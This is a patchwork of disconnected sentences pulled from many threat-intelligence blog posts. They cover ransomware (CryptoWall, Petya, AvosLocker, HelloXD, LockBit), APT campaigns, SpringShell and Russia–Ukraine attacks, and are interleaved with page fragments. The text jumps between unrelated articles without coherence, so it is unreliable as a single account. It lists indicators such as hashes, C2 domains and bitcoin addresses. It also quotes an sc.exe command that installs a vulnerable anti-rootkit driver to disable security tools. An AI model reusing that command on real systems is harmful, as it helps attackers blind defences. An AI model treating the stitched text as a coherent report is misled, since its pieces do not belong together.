For example, we found that Conti operators use the cloud storage synchronization tool Rclone to upload files to the Mega cloud storage service.


Similarly, DarkSide operators used Mega client for exfiltrating files to cloud storage, 7-Zip for archiving, and PuTTY application for network file transfers.


On Feb. 23, a new variant of wiper malware named HermeticWiper was discovered in Ukraine.


This post was substantially updated March 31 to add information on phishing and scam attacks, cybersquatting trends, fake donation websites, DoS attacks on Ukrainian news sites and distribution of malicious binaries.


DDoS Attacks Impacting Ukrainian Government and Banking Institutions HermeticWiper Malware Website Defacement Rise in Phishing and Scam Attacks Increase in Cybersquatting Trends Fake Donation Websites DoS Attacks on Ukrainian News Sites Distribution of Apps How Palo Alto Networks Is Working to Keep You Safe How You Should Prepare for an Increase in Cyberthreats Such as Wipers, DDoS, Website Defacement and Other Related Attacks How Unit 42 Threat Intelligence and Security Consulting Can Help Additional Cybersecurity Resources Indicators of Compromise


On Feb. 18, both the United States and the United Kingdom attributed these DDoS attacks to Russia’s Main Intelligence Directorate (GRU).  Over the past week, Ukraine has continued to observe a relatively constant flow of DDoS attacks targeting its government and financial institutions.


On Feb. 23, a malicious file named conhosts._exe (SHA256: 1bc44eef75779e3ca1eefb8ff5a64807dbc942b1e4a2672d77b9f6928d292591) was uploaded to a public malware repository from an organization in Kyiv, Ukraine.


In tracking this threat, early reports show that the malware has been deployed against a financial institution in Ukraine as well as two contractors in Latvia and Lithuania that provide services to the Ukrainian Government.


On March 16 while ingesting a third-party data feed, our in-house machine learning models detected a phishing webpage targeting a Ukrainian state administration employee.


A phishing webpage targeting a Ukrainian state administration employee, detected by our in-house machine learning models on March 16.Our teams at Palo Alto Networks are actively monitoring the phishing landscape surrounding Ukraine-related URLs and are sharing this threat intelligence with relevant authorities in Ukraine and internationally.


We monitored a list of 50 legitimate Ukraine-related domains (e.g., popular news and donation websites) and keywords (e.g., Ukraine, refugee) as targets for cybersquatting.


For instance, donatetoukraine[.]com is pretending to be associated with the popular Come Back Alive campaign.


We found a cybersquatting domain – save-russia[.]today – that is launching DoS attacks on Ukrainian news sites.


A cybersquatting domain save-russia[.]today is launching DoS attacks on Ukrainian news sites.


Our Threat Prevention and Web Application and API Security products added coverage for the OctoberCMS vulnerability exploited in the WhisperGate attacks, and we released an XSOAR Playbook to help organizations hunt for this threat.


Threat Brief: Ongoing Russia and Ukraine Cyber Conflict (Jan. 20) Russia’s Gamaredon aka Primitive Bear APT Group Actively Targeting Ukraine (Updated Feb. 16)


Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot Threat Briefing: Protecting Against Russia-Ukraine Cyber Activity Palo Alto Networks Resource Page: Protect Against Russia-Ukraine Cyber Activity Cortex XDR Protections Against Malware Associated with Ukraine and Russia Cyber Activity


Last Tuesday, Trusteer reported that a new variant of Citadel, which has long relied on VNC to give attackers remote control over systems, began adding new credentials to systems it infects and enabling the standard Windows remote desktop application (RDP).


The latest development in the ransomware world is CryptoWall 2.0, a new version of this malware family that uses the Tor network for command and control.


The attacker holds the key necessary to decrypt the files unless the victim agrees to pay a $500 ransom.  Unlike previous versions of CryptoWall, 2.0 communicates with its command and control (C2) server through the Tor anonymization network.


CryptoWall isn’t the only threat that communicates over Tor and if your network doesn’t have an explicit reason to allow anonymization networks, you should consider blocking the application altogether with your firewall.


All of the domains currently resolve to 151.248.115.146, a Russian IP address and have WhoIs records associated with the e-mail address “ladomfichisi1987@mail.ru”.


If these domains are confiscated or otherwise shut down, CryptoWall instructs the user to download the Tor Browser and access a website (paytordmbdekmizq.onion) that is only accessible over the Tor network.  Unlikely some of it’s more flexible competition, CryptoWall only accepts ransom in the form of BitCoin.


On October 19, the Kafeine posted a blog discussing the inclusion of CVE-2014-0556 in the Nuclear Pack exploit kit, which was installing CryptoWall 2.0.


The PDF  exploits CVE-2013-2729 to download a binary which also installed CryptoWall 2.0.


To protect against CryptoWall 2.0 we recommend taking the following actions:  Adobe Reader Embedded BMP Parsing Integer Overflow Vulnerability  CVE-2014-0556  Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!


TrustedSec reports on how attackers were apparently able to glean user credentials from a certain device via the Heartbleed vulnerability and use them to log in via a VPN.


As Heartbleed allows the attacker to scrape memory from the vulnerable device, they can retrieve significant amounts of secret information.


After analysis of the compromise, Volexity determined the initial foothold was the result of a remote code execution vulnerability in Confluence Server and Data Center.


The vulnerability leaves Android users at risk of falling victim to an Android Toast Overlay attack.


Virlock has the largest number of variants due to its file-infector-like behavior.


One example here is Makop, contained in a 7z archive along with an infostealer malware (SHA256: DE6DFA018773E07C218EF1DF62CE0D99A708841BF1DDFB4C6AD7E323D5D666A4).


For example, GandCrab uses JScript as a downloader, leveraging Windows Background Intelligent Transfer Service (BITS) to download the payload in the background (Figure 5).


We also observed that Mailto (AKA NetWalker) tends to deliver ransomware in a highly obfuscated PowerShell script.


One example is an exploit RTF that led to downloading and installing Makop ransomware remotely.


For example, the Xorist ransomware (SHA256: 4979A10B81C41ECC0FC3A0F376ADE766CE616D2301639F74E0277047CC40E3D6) demanded £1,000 for a ransom; the bitcoin wallet address was 1BFqrLCDwwrxueY7FFDn8DqeoasPJignxt.


During the operation, 25.1 BTC from 538 wallets was sent to 1NDyJtNTjmwk5xPNhjgAMu4HDHigtobu1s (SHA256: CE11703DEF517306326C48A67A7C859A3DE0F18E2451DF226CE171389A5B7953), which is a wallet owned by Binance cryptocurrency exchange.


After infection, Virlock hides the file extension through modification of the registry (HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = 1, HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden = 2).


Ryuk will change the infected file extension to .RYK, and leave a ransom note called RyukReadMe.html.


The attackers behind Hancitor aren’t the first to time their spam attacks like this, but it is an effective tactic to try and increase their chances of success, especially when combined with the other innovation that we’ve seen.


In the past, Hancitor was sent as a malicious attachment in a spam email which would then download and install the attackers’ final malware like a banking Trojan.


The spam the attackers use no long has a malicious attachment but instead a malicious link that downloads the malicious Hancitor attachment.


The hot spots in the United States represents distribution servers which are created using fraud based accounts at various hosting providers that are hosting the Hancitor documents while the hotspots in Asia represent legitimate sites for small and medium businesses that have been compromised by the actors behind Hancitor campaign to host the malicious Hancitor documents.


This post is also available in:      日本語 (Japanese)  This Unit 42 blog provides an update on the threat situation surrounding attacks using the Petya Ransomware which are impacting organizations in Ukraine, Russia and to a lesser extent around the world.


The latest version of the Petya ransomware is spreading over Windows SMB and is reportedly using the ETERNALBLUE exploit tool, which exploits CVE-2017-0144 and was originally released by the Shadow Brokers group in April 2017.


While we have not been able to directly confirm the source, we have seen evidence that a Ukrainian software application called MEDoc was used by attackers to deliver the Petya DLL.


Despite these measures, users still choose to open these files and enable their content, thus allowing macros to continue be a common attack vector – both in wide and simple attacks to deliver ransomware such as Emotet, as well as for sophisticated attacks like this Sofacy campaign.


An example for such attack vector being leveraged by attackers is CVE-2018-4878, an Adobe Flash Player Zero-Day exploited by embedding malicious SWF files in Excel documents.


While still not seen in the wild, similar exploits in Microsoft Equation Editor, such as such as CVE-2018-0807 and CVE-2018-0798, were identified by Unit 42 researchers.


They can be used to compromise an endpoint in the following way:  This functionality was leveraged in exploitation of CVE-2017-0199 - a Microsoft Office/WordPad remote code execution (RCE) vulnerability patched by Microsoft in September 2017, and was used in multiple campaigns, like this OilRig campaign.


This post is also available in:      日本語 (Japanese)  On Aug. 25, 2021, Atlassian released a security advisory for an injection vulnerability in Confluence Server and Data Center, CVE-2021-26084.


The Atlassian products vulnerable to CVE-2021-26084 are those using the following versions of Confluence Server and Data Center:  Confluence Cloud customers are not affected by this vulnerability.


Dubbed OMIGOD, the four vulnerabilities were found to directly affect Azure Cloud Instances.


Stolen credentials underpin some of the most critical and damaging attacks out there; both Shamoon 2 and the Sofacy threat actor group, for example, have made detailed use of credential theft.


Credential theft today can happen in many ways, but the most notable are through credential phishing and the use of malware like keyloggers (both staples of the Sofacy group), as well as password reuse.


While kernel APC attacks aren’t well known and can be hard to understand, their proven success in WanaCrypt0r/WannaCry and the Petya/NotPetya make them an important threat to understand because proven attack techniques are quickly adopted widely.


analysis sample  PClock2 is written in Visual Basic.


It’s also interesting to note that each time PClock2 scans a directory or encrypts a file, it makes an HTTP POST request to the C2 server.


While not all SMS-based IAP applications steal user data, we recently identified that the Chinese Taomike SDK has begun capturing copies of all messages received by the phone and sending them to a Taomike controlled server.


Taomike is a Chinese company that aims to become the biggest mobile advertisement solution platform in China.


Not all apps that use the Taomike library steal SMS messages.


Recently, we found email accounts from top universities across the world being sold on Taobao, the largest consumer-to-consumer (C2C) e-commerce platform in China.


Based on our investigation, we believe that stolen accounts for these universities are actively selling on Taobao.


Using AutoFocus to quickly search and correlate artifacts across the collective set of WildFire and other Palo Alto Networks threat intelligence, we were able to associate the attacks with the group publicly known as “DragonOK.”


DragonOK has previously targeted Japanese high-tech and manufacturing firms, but we’ve identified a new backdoor malware, named “FormerFirstRAT,” deployed by these attackers.


This campaign involved five separate phishing attacks, each carrying a different variant of Sysget malware, also known as HelloBridge.


All of the Sysget files used in this campaign communicate with a single command and control (C2) server, hosted at biosnews[.]info.


All five phishing campaigns targeted a Japanese manufacturing firm over the course of two months, but the final campaign also targeted a separate Japanese high-tech organization.


Four of the five Sysget variants included a form of decoy document to trick users into believing they had opened a legitimate file rather than malware.


During analysis of this threat, we identified five additional backdoor tools hosted on biosnews[.]info which may be downloaded by the Sysget variants once the attackers have established a foothold.


Three of the backdoors, NFlog, PoisonIvy, and NewCT have previously been publicly associated with DragonOK.


Figure 7. Relationship between five additional backdoors used by DragonOK and their C2 servers in this campaign.


FormerFirstRAT communicates using unencrypted HTTP over port 443; the use of mismatching ports and communication protocols is not uncommon in targeted attack campaigns.


The CVE-2021-32648 vulnerability lies within the OctoberCMS platform prior to version 1.0.472 and results in an attacker gaining access to any account via a specially crafted account password reset request.


Using our PoC, we created the following demonstration video of how a malicious actor would exploit the CVE-2021-32648 vulnerability, log into the compromised OctoberCMS account and to deface a web page hosted by the server:


To determine how this vulnerability was exploited, we analyzed the patch that developers added to OctoberCMS version 1.0.472 to mitigate the CVE-2021-32648 vulnerability.


Stage1.exe purports to be ransomware, as it overwrites the target’s master boot record with 512 bytes and upon reboot displays the following ransom note:  Stage2.exe is a beaconing implant that performs an HTTPS connection to download a JPG file hosted on Discord’s content delivery network (CDN).


Palo Alto Networks customers receive protections against the OctoberCMS vulnerability in the following ways:  Palo Alto Networks customers receive protections against WhisperGate malware in the following ways:  The Cortex XSOAR "WhisperGate & CVE-2021-32648'' pack can help automatically detect and mitigate the two threats.


Kuluoz is a descendant of the Asprox malware and spreads by sending copies of itself as an e-mail attachment.


Kuluoz makes money for its owner by installing other malware, such as crimeware or fake antivirus programs.


Geographic Distribution of Koluoz Spam Nodes in North America  Thus far we’ve detected the following command and control servers in use.


In addition to our research, the Baidu Security team in China recently found 23 mobile banking apps sharing the same certificate hosted by a third party app developer and reported the discovery to the CNCERT in China.


Recently Palo Alto Networks discovered a backdoor program ( md5: b826fb1253a52a3b53afa3b7543d7694, sha256: 6bedd1b0716fe7632188932451f75295346836545e6d2bfee1b56121e02ca110 ) that is used to control a linux operating system.


This post is also available in:      日本語 (Japanese)  In July 2020, Microsoft released a security update, CVE-2020-1350 | Windows DNS Server Remote Code Execution Vulnerability, for a new remote code execution (RCE) vulnerability.


Overview Palo Alto Networks Unit 42 threat research team has just uncovered a new set of attacks by the Sofacy group using malicious emails targeting foreign affairs agencies and ministries in North America and Europe, including a European embassy in Moscow.


The Sofacy Group (AKA APT28, Grizzly Steppe, Fancy Bear, STRONTIUM, Sednit, Tsar Team, Pawn Storm) is a well-known hacking organization widely reported to be associated with Russia by the US Intelligence Community, numerous media reports and other cybersecurity companies.


Sofacy Group has been associated with many attacks against targets around the world, including the International Olympic Committee (IOC) in 2018, the World Anti-Doping Agency in 2016, the Dutch Safety Board in 2015, and German, French, Ukrainian, and Dutch political and military targets throughout 2014 through 2018.


Bad Rabbit is a ransomware attack that, at the time of this writing, appears to primarily be affecting countries in Eastern Europe.


As detailed below, Bad Rabbit gains initial entry by posing as an Adobe Flash update.


According to ESET, the initial infection vector for Bad Rabbit is through a fake Adobe Flash update that is offered up from compromised websites.


Reports indicate that it harvests credentials using Mimikatz and Maarten van Dantzig reports it also uses common hardcoded credentials to spread.


In total we’ve found 18 different applications in the Google Play store that contain the Funtasy Trojan.


Of particular note is how these actors use a Remote Administration Tool (RAT) named NetWire (part of the NetWiredRC malware family).


While the SunOrcal malware family has been confirmed to have been active since 2013, possibly even earlier, this new variant has been observed targeting regions outside of the typical target radius for this threat group, now expanding to include Vietnam and Myanmar.


Last year we highlighted two malware families on this blog: CryptoWall 2.0 and Dyreza/Dyre.


In October, CryptoWall 2.0 began using the Tor anonymity network to serve web pages to infected users who wanted their encrypted files back.


In this case a legitimate service (Tor) was being abused by CryptoWall so it could avoid having its C2 servers shut down.


I2P users can access specific I2P services that are only accessible on I2P, or access Internet resources without exposing their IP address.  In the case of CryptoWall 3.0, the malware is attempting to access multiple .i2p resources only accessible through I2P, also known as “eepSites.”  The CryptoWall 3.0 uses I2P in the same way CryptoWall 2.0 used Tor, to give victims access to a decrypting service to get their files back.


And before long, Yuki Chen (@guhe120), a Chinese researcher, posted his answer.


While previous AvosLocker infections employ similar routines, this is the first sample we observed from the US with the capability to disable a defense solution using a legitimate Avast Anti-Rootkit Driver file (asWarPot.sys).


Infection chain      Figure 1. AvosLocker infection chain      According to our analysis, the suspected entry point is via the Zoho ManageEngine ADSelfService Plus (ADSS) exploit:      Figure 2.


The ADSS exploit abusing CVE-2021-40539     Due to the lack of network traffic details, we could not identify the exact CVE ID of the security gap the attacker used.


The PowerShell downloads, installs, and allows the remote desktop tool AnyDeskMSI through the firewall.


Figure 9. The PowerShell downloading and installing AnyDeskMSI


Additional tools and components were copied to the compromised machine using AnyDeskMSI to scan the local network and disable security products.


The tools transferred using AnyDesk are:  Netscan: To scan for other endpoints Nmap (log4shell.nse): To scan for Log4shell vulnerable endpoints Hacking tools Mimikatz and Impacket: For lateral movement PDQ deploy: For mass deployment of malicious script to multiple endpoints Aswarpot.sys: For disabling defense solutions.


We found an Avast anti-rootkit driver installed as service 'asWarPot.sys' using the command sc.exe  create aswSP_ArPot2 binPath= C:\windows\aswArPot.sys type= kernel.


Mimikatz components were also copied to the affected machine via AnyDeskMSI.


Detecting and deleting Mimikatz      We observed the PowerShell script disabling the security products by leveraging aswarpot.sys (a legitimate Avast Anti-Rootkit Driver).


After disabling the security products, the actors behind AvosLocker again tried to transfer other tools, namely Mimikatz and Impacket.


We also observed the execution of a password recovery tool XenArmor with C:\temp\pass\start.exe.


Deploying across the network We saw software deployment tool PDQ being used to deploy malicious batch scripts to multiple endpoints in the network.


While AvosLocker has been documented for its abuse of AnyDesk for lateral movement as its preferred application, we note that other remote access applications can also be abused to replace it.


Avast responded to our notification with this statement: "We can confirm the vulnerability in an old version of our driver aswArPot.sys, which we fixed in our Avast 21.5 released in June 2021.


AvosLocker executable 05ba2df0033e3cd5b987d66b6de545df439d338a20165c0ba96cde8a74e463e5 Ransom.Win32.AVOSLOCKER.SMYXBLNT Mimikatz executable (x32 and x64) 912018ab3c6b16b39ee84f17745ff0c80a33cee241013ec35d0281e40c0658d9 HackTool.Win64.MIMIKATZ.ZTJA e81a8f8ad804c4d83869d7806a303ff04f31cce376c5df8aada2e9db2c1eeb98 HackTool.Win32.Mimikatz.CNFW Log4shell Nmap NSE script ddcb0e99f27e79d3536a15e0d51f7f33c38b2ae48677570f36f5e92863db5a96 Backdoor.Win32.CVE202144228.YACAH Impacket tool 14f0c4ce32821a7d25ea5e016ea26067d6615e3336c3baa854ea37a290a462a8 HackTool.Win32.Impacket.AA


What sets Urpage attacks apart is its targeting of InPage, a word processor for Urdu and Arabic languages.


The link between Bahamut and Urpage can be best discussed by way of the multiple malicious Android samples that matched Bahamut's code and had C&C belonging to the Urpage infrastructure.


As with Bahamut applications, once downloaded and executed, it showed multiple malicious features that deal with stealing information.


A malicious RTF file that exploits the CVE-2017-8750 and drops a malicious VB backdoor with C&C appswonder[.]info A malicious InPage file that exploits CVE-2017-12824 and drops two files, one non-malicious, and one malicious VB backdoor with C&C referfile[.]com  Talos recently reported both C&C domain names with one type of campaign that targets iOS and involves MDM, and another type using VB and Delphi backdoors.


One of the RTF files was found in a server related to Confucius (f1a54dca2fdfe59ec3f537148460364fb5d046c9b4e7db5fc819a9732ae0e063, detected as TROJ_CVE201711882.AG), while the other one (434d34c0502910c562f5c6840694737a2c82a8c44004fa58c7c457b08aac17bd,detected as Mal_CVE20170199-2) downloaded a VB Backdoor that pings back to twitck[.]com, a domain name belonging to Urpage.


But this link is further fortified by the Android applications we found whose code is like that of Bahamut, with the C&C matching the usual name registration pattern of Patchwork’s group, as well as an infrastructure close to an old Patchwork domain.


The decoy documents tell more about Urpage's possible targets, as it contains text from articles about the region of Kashmir.


This post is also available in:      日本語 (Japanese)  HelloXD is a ransomware family performing double extortion attacks that surfaced in November 2021.


During the analysis of the MicroBackdoor sample, Unit 42 observed the configuration and found an embedded IP address, belonging to a threat actor we believe is potentially the developer: x4k, also known as L4ckyguy, unKn0wn, unk0w, _unkn0wn and x4kme.


The file description included the entry VlahmAV, a play on words on ClamAV, and the developer named the ransomware HelloXD and used another potential alias, uKnow, as the developer of HelloXD in the copyright section.


For example, LockBit 2.0 leverages Tox Chat for threat actor communications.


While the obfuscation and execution may differ between the two, both samples contain very similar core functionality, due to the author copying the leaked Babuk/Babyk source code in order to develop the HelloXD ransomware (Figure 7).


While there is a lot of overlap between HelloXD and Babuk, there are some small but crucial differences to take note of between Babuk and the two different variants.  HelloXD version 1 is the least modified, utilizing Curve25519-Donna and a modified HC-128 algorithm to encrypt file data, while also containing the same CRC hashing routine incorporating the string dong, possibly referencing Chuong Dong, who had previously analyzed and reported on the first version of Babuk (Figure 8).


From the GitHub page, we also observed a URL to a site – xn--90a5ai[.]com(фсб[.]com) – resolving to the previously mentioned IP 164[.]68[.]114[.]29, which at this point in time only shows an animation of interconnecting points.


That being said, when looking at the HTML source code of the site, we discovered a couple of references to the user observed before – x4kme – and other aliases such as uKn0wn, which was observed in the HelloXD ransomware samples.


, we were able to observe another GitHub account with the name l4ckyguy, sharing the profile picture, location and URL in the description, with a link to the previously observed account (x4kme), and a name, Ivan Topor, which we believe may be another alias for this threat actor.


This particular IP was linked to a Contabo server that x4k had also included within their VirusTotal graph discussed above.


Most of his videos, comments, configurations and tutorials are written in Russian – and when combined with knowledge gained from a few OPSEC mistakes – Russia is also where we believe x4k originates from.


This post is also available in:      日本語 (Japanese)  A recent vulnerability in the Kerberos authentication protocol, CVE-2020-17049 (dubbed Bronze Bit), has been disclosed by Microsoft.


On August 22, 2018, the Apache Foundation released a critical security update for CVE-2018-1176, a remote code execution vulnerability affecting Apache Struts versions 2.3 to 2.3.34 and 2.5 to 2.5.16.


This new campaign used updated instances of the Tdrop malware family discovered in the Operation Troy campaign.


Parallel to the analysis, tracking, and technical disruption of this botnet, Google has filed a lawsuit against two individuals believed to be located in Russia for operating the Glupteba Botnet and its various criminal schemes.


In late August 2021, TAG discovered watering hole attacks targeting visitors to Hong Kong websites for a media outlet and a prominent pro-democracy labor and political group.


The watering hole served an XNU privilege escalation vulnerability (CVE-2021-30869) unpatched in macOS Catalina, which led to the installation of a previously unreported backdoor.


The exploit chain combined an RCE in WebKit exploiting CVE-2021-1789 which was patched on Jan 5, 2021 before discovery of this campaign and a 0-day local privilege escalation in XNU (CVE-2021-30869) patched on Sept 23, 2021.


Beer was able to quickly recognize this exploit as a variant of an earlier port type confusion vulnerability he analyzed in the XNU kernel (CVE-2020-27932).


For those interested in following our in-the-wild work, we will soon publish details surrounding another, unrelated campaign we discovered using two Chrome 0-days (CVE-2021-37973 and CVE-2021-37976).


We have uncovered a cyberespionage campaign being perpetrated by Earth Baku, an advanced persistent threat (APT) group with a known history of carrying out cyberattacks under the alias APT41.


Earth Baku deploys its ongoing campaign, which can be traced to as far back as July 2020, through multiple attack vectors that are designed based on different exploits or the infrastructure of its targeted victim's environment:  • SQL injection to upload a malicious file • Installment through InstallUtil.exe in a scheduled task • Possibly a malicious link (LNK) file sent as an email attachment • Exploitation of the ProxyLogon vulnerability CVE-2021-26855 to upload a China Chopper web shell  This campaign uses previously unidentified shellcode loaders, which we have named StealthVector and StealthMutant, and a backdoor, which we have dubbed ScrambleCross.


After its payload is decrypted, StealthMutant performs process hollowing to execute its payload in a remote process.


Both StealthMutant and StealthVector contain a payload of either the Cobalt Strike beacon or ScrambleCross, a newly discovered backdoor.


It has many of the same capabilities as another backdoor, Crosswalk, which has also been used by Earth Baku.


But because Earth Baku has updated its toolset with StealthVector, StealthMutant, and ScrambleCross for this new campaign, we have identified it as its own separate operation.


A timeline of Earth Baku’s previous campaign as APT41 and its new campaign How Earth Baku creates its malware tools Earth Baku is known for its use of self-developed tools.


On March 29, 2022, the Spring Cloud Expression Resource Access Vulnerability tracked in CVE-2022-22963 was patched with the release of Spring Cloud Function 3.1.7 and 3.2.3.


Two days later on March 31, 2022, Spring released version 5.3.18 and 5.2.20 of Spring Framework to patch another more severe vulnerability tracked in CVE-2022-22965.


The CVE-2022-22965 vulnerability allows an attacker unauthenticated remote code execution (RCE), which Unit 42 has observed being exploited in the wild.


On April 8, we updated this blog to include statistics on SpringShell exploitation attempts that we identified by analyzing hits on the Spring Core Remote Code Execution Vulnerability threat prevention signature for the Palo Alto Networks Next-Generation Firewall, as well as alerts triggered in Cortex XDR.


Affected Software and Versions Background on the Spring Framework Root Cause Analysis for CVE-2022-22965


Early in 2010, CVE-2010-1622 was assigned to a remote code execution vulnerability in the Spring Framework.


This particular webshell is based on AntSword’s shell.jsp, which was modified to use a parameter of k3rwin instead of ant to load the class.


The signature triggered on the creation of the webshell files, of which we observed the following file written:  /usr/local/tomcat/work/Catalina/localhost/ROOT/org/apache/jsp/shell_jsp.java /usr/local/tomcat/webapps/ROOT/shell_.jsp  SpringShell is officially assigned CVE-2022-22965, and the patch was released on March 31, 2022.


While CVE-2022-22963 is a different vulnerability in Spring Cloud Function (not technically part of SpringShell), a Threat Prevention signature is also available to ensure coverage at the perimeter.


Palo Alto Networks Cortex XDR Prevent and Pro customers running agent version 7.4 and above with content version 450-87751 on Linux devices are protected from CVE-2022-22963 using the Java Deserialization module; customers running agent version 7.7 and content 480 and above are protected from CVE-2022-22963 and CVE-2022-22965 for both Windows and Linux using the Java Deserialization module; other OSes and exploits receive protections from post-exploitation activities using Behavioral Threat Protection, Password Theft Prevention, Anti Ransomware and other Anti Exploitation modules.


The FBI has connected Conti to more than 400 cyberattacks against organizations worldwide, three-quarters of which are based in the U.S., with demands as high as $25 million.


Credential theft has been known to be a key part of the Shamoon 2 attacks.


And from this we can see how credential theft is the keystone of Shamoon 2 attacks; if an organization can prevent credential theft, the Shamoon 2 attacks can’t succeed.


In our research, we’re able to outline that Shamoon 2 enters and spreads through an organization in three stages:  These stages are outlined in the image below.  And that credential theft is a key element in each stage:  It’s also worth noting that credentials are a keystone issue in Shamoon 2 wave 2 too: we saw evidence of targeting an organization’s virtual desktop infrastructure (VDI) solutions with default credentials.


We do believe there is evidence suggestive of a connection between Shamoon 2 and the Magic Hound campaign, which could indicate these two attack campaigns could have worked in conjunction with each other to execute the Shamoon 2 attacks.


In December 2021, the Ministry of Health of Brazil fell victim to an attack claimed by Lapsus$ (Figure 2).


This was followed in short order by attacks on South American telecoms providers Claro and Embratel, Brazilian state-owned postal service “Correios,” and Portuguese media giant Impresa.


This initial focus has led to speculation that Lapsus$ Group may be Brazilian, although we understand the choice of targets to have been influenced by extended team members rather than the team leadership.


Apart from Argentinian eCommerce provider Mercado Libre / Mercado Pago, subsequent victimology has departed South America and pivoted to focus on the high-tech sector.  Recent public victims have included:  It should be understood that in addition there are likely any number of other victims, targeted by attacks not known in the public sphere.


For example, in the “proof” of the Okta breach posted on the Lapsus$ Group’s Telegram channel, the actor states: “… our focus was ONLY on okta customers” (Figure 3)


Although the commodity malware RedLine Stealer has been implicated for credential harvesting in some attacks, it’s unclear if this is first- or third-party, and it cannot be used as a definitive indicator of Lapsus$-specific activity.


This post is also available in:      日本語 (Japanese)  LockBit 2.0 is ransomware as a service (RaaS) that first emerged in June 2021 as an upgrade to its predecessor LockBit (aka ABCD Ransomware), which was first observed in September 2019.


While several top-tier RaaS affiliate programs, such as Babuk, DarkSide and REvil (aka Sodinokibi) disappeared from the underground in 2021, LockBit 2.0 continued to operate and gradually became one of the most active ransomware operations.


Technically speaking, we have observed LockBit 2.0 affiliates leveraging the following tactics, techniques and procedures:  Windows SysInternals PsExec has been utilized for both persistence and execution purposes.


The LockBit group claimed that LockBit 2.0 is “the fastest encryption software all over the world” and provided a comparative table showing the encryption speed of various ransomware samples.  LockBit 2.0 also contains a self-spreading feature, clears logs and can print the ransom note on network printers until the paper runs out.  A management panel that affiliates can use to manage victims and affiliate accounts, generate new ransomware builds and generate the decryptor if the demanded ransom is paid also exists.


LockBit 2.0 operators also released an information-stealer dubbed StealBit, which was developed to support affiliates of the LockBit 2.0 RaaS when exfiltrating data from breached companies.


On Saturday, Microsoft disclosed a critical vulnerability in Internet Explorer, CVE-2014-1776, affecting Internet Explorer versions 6 through 11.


Vulnerability Details  CVE-2014-6271 exists in all versions of Bash and is related to how environment variables are processed when the shell starts up.


While the initial attack vector for these attacks is unknown, it is certain that the spread of the ransomware occurs through active exploitation of the ETERNALBLUE vulnerability (CVE-2017-0144) in Microsoft Windows.


Reports quickly emerged that this attack was effective due to the presence of code exploiting a vulnerability (CVE-2017-0144) in Microsoft Windows (code named: ETERNALBLUE) that was released as part of the Equation Group dump by the Shadow Brokers in their fifth leak on April 14, 2017.


The WanaCrypt0r ransomware spreads itself by heavily scanning over TCP port 445 (associated with SMB) and attempting to exploit the ETERNALBLUE vulnerability on systems.


It has been reported that the DOUBLEPULSAR backdoor (also from the Equation Group leak by Shadow Brokers) is installed and used to execute the malware after successful exploitation of a host via ETERNALBLUE, but this warrants further analysis.


Late last month reports surfaced that a new Internet Explorer vulnerability (CVE-2014-1776) was being exploited in targeted attacks.


Last year, exploitation of CVE-2013-3163 targeted Internet Explorer 8 and earlier this year, we found exploitation of CVE-2014-0322 in Internet Explorer 10.


They grouped these vulnerabilities under the names “Spectre” (CVE-2017-5753 and CVE-2017-5715) and “Meltdown” (CVE-2017-5754).


We discovered a new malware that targets online gambling companies in China via a watering hole attack, in which visitors are tricked into downloading a malware loader disguised as a legitimate installer for well-known apps such as Adobe Flash Player or Microsoft Silverlight.


What makes BIOPASS RAT particularly interesting is that it can sniff its victim’s screen by abusing the framework of Open Broadcaster Software (OBS) Studio, a popular live streaming and video recording app, to establish live streaming to a cloud service via Real-Time Messaging Protocol (RTMP).


In addition, the attack misuses the object storage service (OSS) of Alibaba Cloud (Aliyun) to host the BIOPASS RAT Python scripts as well as to store the exfiltrated data from victims.


Furthermore, BIOPASS RAT also creates scheduled tasks to load the Cobalt Strike shellcode during the initialization, indicating that the malicious actor behind the attack still heavily relies on Cobalt Strike.


We also found several clues that show how the malware might be connected with the Winnti Group(also known as APT41).


In this blog entry, we will dive deeper into BIOPASS RAT with a detailed technical analysis of the infection chain, the different components of the malware, and any possible associations with Winnti.


The initial delivery mechanism of BIOPASS RAT uses of a watering hole, a compromised website in which the malicious actors inject their custom JavaScript code to deliver malware.


Authenticode-signed files are either downloaded from the official websites (as seen in sample c47fabc47806961f908bed37d6b1bbbfd183d564a2d01b7cae87bd95c20ff8a5) or are hosted on Alibaba Cloud OSS on the attackers’ account.


An old sample of the module (30ccfbf24b7c8cc15f85541d5ec18feb0e19e75e1e4d2bca9941e6585dad7bc7) is likely a watchdog to check the status of another module that is known as “c1222”.  The malicious actors can change this behavior by replacing the content of the cdaemon.txt service in the cloud so that when combined with the regular execution of the scheduled task, the cdaemon task can behave like a backdoor.


The malware downloads OBS Studio files if the OBS folder and config file are not found in the root directory.


Although these are not implemented inside the BIOPASS RAT malware, we have observed two additional plug-ins that are written in Python (“getwechatdb” and “xss_spoof”) and were deployed by the threat actor to a victim who had been infected with Cobalt Strike.


The main script used to manipulate traffic with WinDivert     Potential links with the Winnti group


We have found several connections between BIOPASS RAT and the Winnti Group:


It is well known that the Winnti Group has previously used stolen certificates from game studios to sign its malware.


Information from the stolen certificates   2.      While checking the stolen certificates, we found a server-side variant of the Derusbi malware sample (e5fdb754c1a7c36c288c46765c9258bb2c7f38fa2a99188a623182f877da3783) that was signed with the same stolen certificate.


3.      We found an interesting Cobalt Strike loader (a7e9e2bec3ad283a9a0b130034e822c8b6dfd26dda855f883a3a4ff785514f97) that embeds a URL that leads to the BIOPASS RAT loader.


The Cobalt Strike loader, which has a PDB string “C:\Users\test\Desktop\fishmaster\x64\Release\fishmaster.pdb”, connects to the C&C server “download[.]google-images[.]ml”.


While these connections allow us to link the malware to the Winnti Group, the different targets between BIOPASS RAT and the current operations by Winnti’s that we are tracking makes associating the two more difficult.


